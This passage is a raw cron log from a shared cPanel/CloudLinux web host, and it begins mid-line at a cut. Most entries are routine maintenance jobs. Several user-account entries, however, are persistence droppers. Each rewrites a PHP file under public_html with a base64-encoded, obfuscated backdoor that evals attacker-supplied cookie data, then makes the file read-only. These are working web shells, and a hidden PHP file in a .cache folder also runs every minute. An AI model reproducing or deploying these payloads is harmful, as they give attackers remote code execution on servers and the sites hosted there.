"$fp")
Apr 19 04:40:02 medusa CROND[24964]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Apr 19 04:40:02 medusa CROND[24961]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 04:40:02 medusa CROND[24967]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Apr 19 04:40:02 medusa CROND[24972]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Apr 19 04:40:02 medusa CROND[24963]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cagefs_exclude_users.cronlock /usr/share/cagefs/exclude_users_cleaner.py)
Apr 19 04:40:02 medusa CROND[24974]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Apr 19 04:40:02 medusa CROND[24976]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 04:40:02 medusa CROND[24977]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Apr 19 04:40:02 medusa CROND[24978]: (root) CMD (/usr/bin/test -e /etc/cpanel-dovecot-solrdisable || /usr/local/cpanel/3rdparty/scripts/cpanel_dovecot_solr_commit)
Apr 19 04:40:02 medusa CROND[24979]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Apr 19 04:40:02 medusa CROND[24973]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Apr 19 04:40:02 medusa CROND[24982]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 04:40:02 medusa CROND[24980]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Apr 19 04:40:02 medusa CROND[24969]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Apr 19 04:40:02 medusa CROND[24959]: (root) CMD (/nutscripts/control_exim.sh  >/dev/null 2>&1)
Apr 19 04:40:02 medusa CROND[24965]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Apr 19 04:40:02 medusa CROND[24968]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux-xray-plugin-check.cronlock /usr/share/lvemanager-xray/plugins/install-xray-plugin.py --check > /dev/null 2>&1)
Apr 19 04:40:02 medusa CROND[24958]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 19 04:41:01 medusa CROND[16140]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Apr 19 04:41:01 medusa CROND[16239]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Apr 19 04:41:01 medusa CROND[16240]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Apr 19 04:41:01 medusa CROND[16241]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 04:41:01 medusa CROND[16242]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 04:41:01 medusa CROND[16246]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 04:41:01 medusa CROND[16247]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Apr 19 04:41:01 medusa CROND[16248]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Apr 19 04:41:01 medusa CROND[16249]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Apr 19 04:41:01 medusa CROND[16250]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 04:41:01 medusa CROND[16253]: (revistaenergiaco) CMD (cd /home3/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Apr 19 04:41:01 medusa CROND[16255]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Apr 19 04:41:01 medusa CROND[16260]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Apr 19 04:41:01 medusa CROND[16261]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Apr 19 04:42:02 medusa CROND[7754]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Apr 19 04:42:02 medusa CROND[7820]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Apr 19 04:42:02 medusa CROND[7842]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Apr 19 04:42:02 medusa CROND[7843]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 04:42:02 medusa CROND[7847]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Apr 19 04:42:02 medusa CROND[7848]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Apr 19 04:42:02 medusa CROND[7850]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
